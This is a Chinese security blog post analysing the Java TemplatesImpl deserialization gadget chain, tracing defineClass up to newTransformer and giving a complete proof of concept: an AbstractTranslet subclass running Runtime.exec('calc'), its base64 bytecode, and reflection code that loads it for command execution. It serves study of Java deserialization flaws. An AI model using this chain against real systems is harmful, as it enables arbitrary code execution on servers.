首页 > 编程语言 >Java反序列化漏洞-TemplatesImpl利用链分析

Java反序列化漏洞-TemplatesImpl利用链分析

时间:2024-09-07 20:24:30浏览次数:1  
标签:templates TemplatesImpl Java sun apache org 序列化 public

目录

一、前言

java.lang.ClassLoader#defineClass

defineClass可以加载字节码,但由于defineClass的作用域是protected,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

二、正文

1. 寻找利用链

由于defineClass的访问修饰符为protected,所以我们需要寻找使用defineClass的方法,直到找到修饰符为public的方法即可。

查找defineClass的声明和用例,可以看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的TransletClassLoader方法重载了defineClass方法:

TransletClassLoader,由于它的作用域是default,所以还得继续寻找调用TransletClassLoader的方法。

最终找到的调用链:

TemplatesImpl#newTransformer() -->			public
TemplatesImpl#getTransletInstance() -->		private
TemplatesImpl#defineTransletClasses() -->	private
TransletClassLoader#defineClass()			default

2. 构造POC

2.1 生成字节码

请注意,由于defineTransletClasses方法的限制,所以编写的被加载的类必须继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
}

使用javac编译后,base64编码,生成最终的字节码

yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=

2.2 加载字节码

首先编写一个静态类,用于反射修改成员变量

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field declaredField = obj.getClass().getDeclaredField(fieldName);
    declaredField.setAccessible(true);
    declaredField.set(obj, value);
}

1)getTransletInstance

查看TemplatesImpl类的getTransletInstance方法,可以看到需要经过两个if判断才能调用defineTransletClasses_name需要赋一个String类型的值,_class本来就是null无需修改,我们来反射修改_name的值。

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "随便");
        templates.newTransformer();
    }
2)defineTransletClasses

接着进入defineTransletClasses,如果_bytecode为空会报此 Templates 不包含有效的 translet 类定义的错误,如果_tfactory为空会报java.lang.NullPointerException的错误。

可以看_bytecode作为参数调用了defineClass,所以_bytecode的值应为被加载的字节码。

然后可以看到被加载的类的必须继承自ASTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,这就是刚才被加载类需要继承AbstractTranslet的原因。

继续修改POC:

public static void main(String[] args) throws Exception {
    byte[] bytecode = Base64.getDecoder().decode("#####你的字节码#####");
    TemplatesImpl templates = new TemplatesImpl();
    setFieldValue(templates, "_name", "随便");
    setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
    setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    templates.newTransformer();
}

2.3 创建实例

defineTransletClasses中,加载_bytecode获得的Class对象赋给了_class

getTransletInstance_class类被创建实例,调用构造方法,至此成功命令执行。这就是为什么没有自己调用newInstance而仍能命令执行的原因。

3. 完整POC

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class LearnTemplatesImpl {
    public static void main(String[] args) throws Exception {
        byte[] bytecode = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABtMZWFyblRlbXBsYXRlSW1wbEJ5dGVzLmphdmEMAA4ADwcAHAwAHQAeAQAEY2FsYwwAHwAgAQAWTGVhcm5UZW1wbGF0ZUltcGxCeXRlcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADQALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAAEwAEABQADQAVAAsAAAAEAAEAEAABABEAAAACABI=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "随便");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecode});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }

    static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field declaredField = obj.getClass().getDeclaredField(fieldName);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
}

三、参考文章

java安全漫谈 - phith0n

动态加载字节码学习 - bfengj

TemplatesImpl利用链分析 - seizer-zyx

Java反序列化之字节码二三事 - Drunkbaby

标签:templates,TemplatesImpl,Java,sun,apache,org,序列化,public
From: https://www.cnblogs.com/CVE-Lemon/p/18402114

相关文章

  • 基于Node.js+vue基于JavaWeb的在线英语学习管理系统(开题+程序+论文) 计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容研究背景随着全球化进程的加速和互联网技术的飞速发展,英语作为国际通用语言的重要性日益凸显。然而,传统英语学习方式受限于时间、地点及教学资源等因素,难以满足广大......
  • 【SpringBoot实用小知识】JSON序列化返回结果时出现的幽灵成员
    幽灵成员问题的解决前言debug过程结论及解决方式1.更改方法名称2.为方法加上@JsonIgnore注解前言这是一个很令人无语的问题在最近写代码时发现一个问题就是有时候在测试接口的时候发现返回结果中出现了一些本不该出现的字段甚至有时候还报错信息如下Writing......
  • 【Java】爬取澳门区划信息
    官网地址:https://macaostreets.iam.gov.mo/zh_mo/freguesiaindex.html大区部分是在页面展示的 点击发现并没有请求网络,所以数据是js中存在的 找到了展示街道方法,这一段:使用大区id匹配上述变量的functionshowStreets(freguesia){varfreguesiaStre......
  • java+vue计算机毕设电影公司网【源码+开题+论文+程序】
    本系统(程序+源码)带文档lw万字以上文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景在数字化时代,电影产业作为文化创意产业的重要组成部分,正经历着前所未有的变革与挑战。随着互联网技术的飞速发展,传统电影公司的运营模式亟需转型升级,......
  • java+vue计算机毕设第二课堂选课系统【源码+开题+论文+程序】
    本系统(程序+源码)带文档lw万字以上文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着教育改革的不断深入和高校教学管理的日益精细化,第二课堂作为传统课堂教学的有效补充与延伸,在培养学生综合素质、创新能力及实践能力方面发挥着不......
  • java+vue计算机毕设单位库房管理系统【源码+开题+论文+程序】
    本系统(程序+源码)带文档lw万字以上文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着企业规模的日益扩大,物资管理的复杂性与重要性日益凸显。传统的单位库房管理方式往往依赖于纸质记录和人工操作,不仅效率低下,而且容易出错,导致库存......
  • java+vue计算机毕设电影评分网站【源码+开题+论文+程序】
    本系统(程序+源码)带文档lw万字以上文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展,网络娱乐已成为人们日常生活中不可或缺的一部分,电影作为其中最受欢迎的娱乐形式之一,其传播与消费方式正经历着深刻变革。传......
  • Java项目使用exe4j生成exe可执行文件在无Java环境Windows电脑运行
    1.准备工作①官网下载exe4j,官网地址:https://www.ej-technologies.com/download/exe4j/files②确保已经安装了JDK,并且配置了环境变量,否则会导致打不开③exe文件在安装目录的bin文件夹下2.直接点下一步3.这里选择JAR打包EXE,点击一步4.需要输入项目名称并指明输......
  • U3D德州工程源码带视频教程带控服务端打包透视客户端u3d打包java后端Spring Boot框架
    U3D德州工程源码带控服务端打包透视客户端u3d打包java后端SpringBoot框架实现技术安卓苹果U3D开发,C#语言后端java SpringBo完整开源不加密,搭建视频教程https://www.bilibili.com/video/BV1PnHLewEkZ/长达八十分钟的搭建教程......
  • 计算机毕业设计选题推荐-班级管理系统-教务管理系统-Java/Python项目实战
    ✨作者主页:IT研究室✨个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。☑文末获取源码☑精彩专栏推荐⬇⬇⬇Java项目Python项目安卓项目微信小程序项目......